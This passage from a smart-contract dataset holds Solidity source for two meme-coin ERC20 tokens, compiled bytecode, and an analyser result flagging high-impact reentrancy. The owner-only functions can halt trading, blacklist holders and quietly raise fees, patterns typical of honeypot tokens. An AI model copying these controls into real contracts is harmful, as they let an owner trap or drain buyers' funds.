function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_redisFee == 0 && _taxFee == 0) return;
_previousredisFee = _redisFee;
_previoustaxFee = _taxFee;
_redisFee = 0;
_taxFee = 0;
}
function restoreAllFee() private {
_redisFee = _previousredisFee;
_taxFee = _previoustaxFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
//Trade start check
if (!tradingOpen) {
require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled");
}
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!");
if(to != uniswapV2Pair) {
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
//Transfer Tokens
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
//Set Fee for Buys
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_redisFee = _redisFeeOnBuy;
_taxFee = _taxFeeOnBuy;
}
//Set Fee for Sells
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_redisFee = _redisFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_marketingAddress.transfer(amount);
}
function setTrading(bool _tradingOpen) public onlyOwner {
tradingOpen = _tradingOpen;
}
function manualswap() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _redisFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 redisFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(redisFee).div(100);
uint256 tTeam = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner {
require(redisFeeOnBuy >= 0 && redisFeeOnBuy <= 4, "Buy rewards must be between 0% and 4%");
require(taxFeeOnBuy >= 0 && taxFeeOnBuy <= 20, "Buy tax must be between 0% and 20%");
require(redisFeeOnSell >= 0 && redisFeeOnSell <= 4, "Sell rewards must be between 0% and 4%");
require(taxFeeOnSell >= 0 && taxFeeOnSell <= 20, "Sell tax must be between 0% and 20%");
_redisFeeOnBuy = redisFeeOnBuy;
_redisFeeOnSell = redisFeeOnSell;
_taxFeeOnBuy = taxFeeOnBuy;
_taxFeeOnSell = taxFeeOnSell;
}
//Set minimum tokens required to swap.
function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner {
_swapTokensAtAmount = swapTokensAtAmount;
}
//Set minimum tokens required to swap.
function toggleSwap(bool _swapEnabled) public onlyOwner {
swapEnabled = _swapEnabled;
}
//Set maximum transaction
function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner {
if (maxTxAmount > 10000 * 10**9) {
_maxTxAmount = maxTxAmount;
}
}
function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {
_maxWalletSize = maxWalletSize;
}
function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner {
for(uint256 i = 0; i < accounts.length; i++) {
_isExcludedFromFee[accounts[i]] = excluded;
}
}
} | 0x6080604052600436106101d05760003560e01c80637d1db4a5116100f7578063a2a957bb11610095578063c492f04611610064578063c492f04614610557578063dd62ed3e14610577578063ea1644d5146105bd578063f2fde38b146105dd57600080fd5b8063a2a957bb146104d2578063a9059cbb146104f2578063bfd7928414610512578063c3c8cd801461054257600080fd5b80638f70ccf7116100d15780638f70ccf71461044f5780638f9a55c01461046f57806395d89b411461048557806398a5c315146104b257600080fd5b80637d1db4a5146103ee5780637f2feddc146104045780638da5cb5b1461043157600080fd5b8063313ce5671161016f5780636fc3eaec1161013e5780636fc3eaec1461038457806370a0823114610399578063715018a6146103b957806374010ece146103ce57600080fd5b8063313ce5671461030857806349bd5a5e146103245780636b999053146103445780636d8aa8f81461036457600080fd5b80631694505e116101ab5780631694505e1461027657806318160ddd146102ae57806323b872dd146102d25780632fd689e3146102f257600080fd5b8062b8cf2a146101dc57806306fdde03146101fe578063095ea7b31461024657600080fd5b366101d757005b600080fd5b3480156101e857600080fd5b506101fc6101f7366004611ae5565b6105fd565b005b34801561020a57600080fd5b5060408051808201909152600d81526c426f6e61706172746520496e7560981b60208201525b60405161023d9190611baa565b60405180910390f35b34801561025257600080fd5b50610266610261366004611bff565b61069c565b604051901515815260200161023d565b34801561028257600080fd5b50601454610296906001600160a01b031681565b6040516001600160a01b03909116815260200161023d565b3480156102ba57600080fd5b5066f52322698080005b60405190815260200161023d565b3480156102de57600080fd5b506102666102ed366004611c2b565b6106b3565b3480156102fe57600080fd5b506102c460185481565b34801561031457600080fd5b506040516009815260200161023d565b34801561033057600080fd5b50601554610296906001600160a01b031681565b34801561035057600080fd5b506101fc61035f366004611c6c565b61071c565b34801561037057600080fd5b506101fc61037f366004611c99565b610767565b34801561039057600080fd5b506101fc6107af565b3480156103a557600080fd5b506102c46103b4366004611c6c565b6107fa565b3480156103c557600080fd5b506101fc61081c565b3480156103da57600080fd5b506101fc6103e9366004611cb4565b610890565b3480156103fa57600080fd5b506102c460165481565b34801561041057600080fd5b506102c461041f366004611c6c565b60116020526000908152604090205481565b34801561043d57600080fd5b506000546001600160a01b0316610296565b34801561045b57600080fd5b506101fc61046a366004611c99565b6108cd565b34801561047b57600080fd5b506102c460175481565b34801561049157600080fd5b5060408051808201909152600481526342494e5560e01b6020820152610230565b3480156104be57600080fd5b506101fc6104cd366004611cb4565b610915565b3480156104de57600080fd5b506101fc6104ed366004611ccd565b610944565b3480156104fe57600080fd5b5061026661050d366004611bff565b610afa565b34801561051e57600080fd5b5061026661052d366004611c6c565b60106020526000908152604090205460ff1681565b34801561054e57600080fd5b506101fc610b07565b34801561056357600080fd5b506101fc610572366004611cff565b610b5b565b34801561058357600080fd5b506102c4610592366004611d83565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b3480156105c957600080fd5b506101fc6105d8366004611cb4565b610bfc565b3480156105e957600080fd5b506101fc6105f8366004611c6c565b610c2b565b6000546001600160a01b031633146106305760405162461bcd60e51b815260040161062790611dbc565b60405180910390fd5b60005b81518110156106985760016010600084848151811061065457610654611df1565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061069081611e1d565b915050610633565b5050565b60006106a9338484610d15565b5060015b92915050565b60006106c0848484610e39565b610712843361070d85604051806060016040528060288152602001611f37602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190611375565b610d15565b5060019392505050565b6000546001600160a01b031633146107465760405162461bcd60e51b815260040161062790611dbc565b6001600160a01b03166000908152601060205260409020805460ff19169055565b6000546001600160a01b031633146107915760405162461bcd60e51b815260040161062790611dbc565b60158054911515600160b01b0260ff60b01b19909216919091179055565b6012546001600160a01b0316336001600160a01b031614806107e457506013546001600160a01b0316336001600160a01b0316145b6107ed57600080fd5b476107f7816113af565b50565b6001600160a01b0381166000908152600260205260408120546106ad906113e9565b6000546001600160a01b031633146108465760405162461bcd60e51b815260040161062790611dbc565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146108ba5760405162461bcd60e51b815260040161062790611dbc565b6509184e72a0008111156107f757601655565b6000546001600160a01b031633146108f75760405162461bcd60e51b815260040161062790611dbc565b60158054911515600160a01b0260ff60a01b19909216919091179055565b6000546001600160a01b0316331461093f5760405162461bcd60e51b815260040161062790611dbc565b601855565b6000546001600160a01b0316331461096e5760405162461bcd60e51b815260040161062790611dbc565b60048411156109cd5760405162461bcd60e51b815260206004820152602560248201527f4275792072657761726473206d757374206265206265747765656e20302520616044820152646e6420342560d81b6064820152608401610627565b6014821115610a295760405162461bcd60e51b815260206004820152602260248201527f42757920746178206d757374206265206265747765656e20302520616e642032604482015261302560f01b6064820152608401610627565b6004831115610a895760405162461bcd60e51b815260206004820152602660248201527f53656c6c2072657761726473206d757374206265206265747765656e20302520604482015265616e6420342560d01b6064820152608401610627565b6014811115610ae65760405162461bcd60e51b815260206004820152602360248201527f53656c6c20746178206d757374206265206265747765656e20302520616e642060448201526232302560e81b6064820152608401610627565b600893909355600a91909155600955600b55565b60006106a9338484610e39565b6012546001600160a01b0316336001600160a01b03161480610b3c57506013546001600160a01b0316336001600160a01b0316145b610b4557600080fd5b6000610b50306107fa565b90506107f78161146d565b6000546001600160a01b03163314610b855760405162461bcd60e51b815260040161062790611dbc565b60005b82811015610bf6578160056000868685818110610ba757610ba7611df1565b9050602002016020810190610bbc9190611c6c565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610bee81611e1d565b915050610b88565b50505050565b6000546001600160a01b03163314610c265760405162461bcd60e51b815260040161062790611dbc565b601755565b6000546001600160a01b03163314610c555760405162461bcd60e51b815260040161062790611dbc565b6001600160a01b038116610cba5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610627565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610d775760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610627565b6001600160a01b038216610dd85760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610627565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610e9d5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610627565b6001600160a01b038216610eff5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610627565b60008111610f615760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610627565b6000546001600160a01b03848116911614801590610f8d57506000546001600160a01b03838116911614155b1561126e57601554600160a01b900460ff16611026576000546001600160a01b038481169116146110265760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c6564006064820152608401610627565b6016548111156110785760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d6974000000006044820152606401610627565b6001600160a01b03831660009081526010602052604090205460ff161580156110ba57506001600160a01b03821660009081526010602052604090205460ff16155b6111125760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b6064820152608401610627565b6015546001600160a01b038381169116146111975760175481611134846107fa565b61113e9190611e38565b106111975760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b6064820152608401610627565b60006111a2306107fa565b6018546016549192508210159082106111bb5760165491505b8080156111d25750601554600160a81b900460ff16155b80156111ec57506015546001600160a01b03868116911614155b80156112015750601554600160b01b900460ff165b801561122657506001600160a01b03851660009081526005602052604090205460ff16155b801561124b57506001600160a01b03841660009081526005602052604090205460ff16155b1561126b576112598261146d565b47801561126957611269476113af565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff16806112b057506001600160a01b03831660009081526005602052604090205460ff165b806112e257506015546001600160a01b038581169116148015906112e257506015546001600160a01b03848116911614155b156112ef57506000611369565b6015546001600160a01b03858116911614801561131a57506014546001600160a01b03848116911614155b1561132c57600854600c55600954600d555b6015546001600160a01b03848116911614801561135757506014546001600160a01b03858116911614155b1561136957600a54600c55600b54600d555b610bf6848484846115f6565b600081848411156113995760405162461bcd60e51b81526004016106279190611baa565b5060006113a68486611e50565b95945050505050565b6013546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610698573d6000803e3d6000fd5b60006006548211156114505760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610627565b600061145a611624565b90506114668382611647565b9392505050565b6015805460ff60a81b1916600160a81b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106114b5576114b5611df1565b6001600160a01b03928316602091820292909201810191909152601454604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561150957600080fd5b505afa15801561151d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906115419190611e67565b8160018151811061155457611554611df1565b6001600160a01b03928316602091820292909201015260145461157a9130911684610d15565b60145460405163791ac94760e01b81526001600160a01b039091169063791ac947906115b3908590600090869030904290600401611e84565b600060405180830381600087803b1580156115cd57600080fd5b505af11580156115e1573d6000803e3d6000fd5b50506015805460ff60a81b1916905550505050565b8061160357611603611689565b61160e8484846116b7565b80610bf657610bf6600e54600c55600f54600d55565b60008060006116316117ae565b90925090506116408282611647565b9250505090565b600061146683836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506117ec565b600c541580156116995750600d54155b156116a057565b600c8054600e55600d8054600f5560009182905555565b6000806000806000806116c98761181a565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506116fb9087611877565b6001600160a01b03808b1660009081526002602052604080822093909355908a168152205461172a90866118b9565b6001600160a01b03891660009081526002602052604090205561174c81611918565b6117568483611962565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161179b91815260200190565b60405180910390a3505050505050505050565b600654600090819066f52322698080006117c88282611647565b8210156117e35750506006549266f523226980800092509050565b90939092509050565b6000818361180d5760405162461bcd60e51b81526004016106279190611baa565b5060006113a68486611ef5565b60008060008060008060008060006118378a600c54600d54611986565b9250925092506000611847611624565b9050600080600061185a8e8787876119db565b919e509c509a509598509396509194505050505091939550919395565b600061146683836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611375565b6000806118c68385611e38565b9050838110156114665760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610627565b6000611922611624565b905060006119308383611a2b565b3060009081526002602052604090205490915061194d90826118b9565b30600090815260026020526040902055505050565b60065461196f9083611877565b60065560075461197f90826118b9565b6007555050565b60008080806119a0606461199a8989611a2b565b90611647565b905060006119b3606461199a8a89611a2b565b905060006119cb826119c58b86611877565b90611877565b9992985090965090945050505050565b60008080806119ea8886611a2b565b905060006119f88887611a2b565b90506000611a068888611a2b565b90506000611a18826119c58686611877565b939b939a50919850919650505050505050565b600082611a3a575060006106ad565b6000611a468385611f17565b905082611a538583611ef5565b146114665760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610627565b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146107f757600080fd5b8035611ae081611ac0565b919050565b60006020808385031215611af857600080fd5b823567ffffffffffffffff80821115611b1057600080fd5b818501915085601f830112611b2457600080fd5b813581811115611b3657611b36611aaa565b8060051b604051601f19603f83011681018181108582111715611b5b57611b5b611aaa565b604052918252848201925083810185019188831115611b7957600080fd5b938501935b82851015611b9e57611b8f85611ad5565b84529385019392850192611b7e565b98975050505050505050565b600060208083528351808285015260005b81811015611bd757858101830151858201604001528201611bbb565b81811115611be9576000604083870101525b50601f01601f1916929092016040019392505050565b60008060408385031215611c1257600080fd5b8235611c1d81611ac0565b946020939093013593505050565b600080600060608486031215611c4057600080fd5b8335611c4b81611ac0565b92506020840135611c5b81611ac0565b929592945050506040919091013590565b600060208284031215611c7e57600080fd5b813561146681611ac0565b80358015158114611ae057600080fd5b600060208284031215611cab57600080fd5b61146682611c89565b600060208284031215611cc657600080fd5b5035919050565b60008060008060808587031215611ce357600080fd5b5050823594602084013594506040840135936060013592509050565b600080600060408486031215611d1457600080fd5b833567ffffffffffffffff80821115611d2c57600080fd5b818601915086601f830112611d4057600080fd5b813581811115611d4f57600080fd5b8760208260051b8501011115611d6457600080fd5b602092830195509350611d7a9186019050611c89565b90509250925092565b60008060408385031215611d9657600080fd5b8235611da181611ac0565b91506020830135611db181611ac0565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b6000600019821415611e3157611e31611e07565b5060010190565b60008219821115611e4b57611e4b611e07565b500190565b600082821015611e6257611e62611e07565b500390565b600060208284031215611e7957600080fd5b815161146681611ac0565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611ed45784516001600160a01b031683529383019391830191600101611eaf565b50506001600160a01b03969096166060850152505050608001529392505050565b600082611f1257634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611f3157611f31611e07565b50029056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220003a69a4769da476794a3072fd20ce2fe6ea45dc723736ba98cafeacd977cfb064736f6c63430008090033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "tautology", "impact": "Medium", "confidence": "High"}]}} | 10,140 |
0x5cf61c527affe0c4ea3061d9b7e749e27423e993 | /**
*Submitted for verification at Etherscan.io on 2021-08-06
*/
/*
https://t.me/babylincoln
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract BabyLincoln is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "BabyLincoln | t.me/babylincoln";
string private constant _symbol = "BabyLincoln";
uint8 private constant _decimals = 9;
// RFI
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _taxFee = 2;
uint256 private _teamFee = 10;
// Bot detection
mapping(address => bool) private bots;
mapping(address => uint256) private cooldown;
address payable private _teamAddress;
address payable private _marketingFunds;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor(address payable addr1, address payable addr2) {
_teamAddress = addr1;
_marketingFunds = addr2;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_teamAddress] = true;
_isExcludedFromFee[_marketingFunds] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_taxFee == 0 && _teamFee == 0) return;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = 5;
_teamFee = 10;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (cooldownEnabled) {
if (
from != address(this) &&
to != address(this) &&
from != address(uniswapV2Router) &&
to != address(uniswapV2Router)
) {
require(
_msgSender() == address(uniswapV2Router) ||
_msgSender() == uniswapV2Pair,
"ERR: Uniswap only"
);
}
}
require(amount <= _maxTxAmount);
require(!bots[from] && !bots[to]);
if (
from == uniswapV2Pair &&
to != address(uniswapV2Router) &&
!_isExcludedFromFee[to] &&
cooldownEnabled
) {
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (30 seconds);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) {
takeFee = false;
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_teamAddress.transfer(amount.div(2));
_marketingFunds.transfer(amount.div(2));
}
function startTrading() external onlyOwner() {
require(!tradingOpen, "trading is already started");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
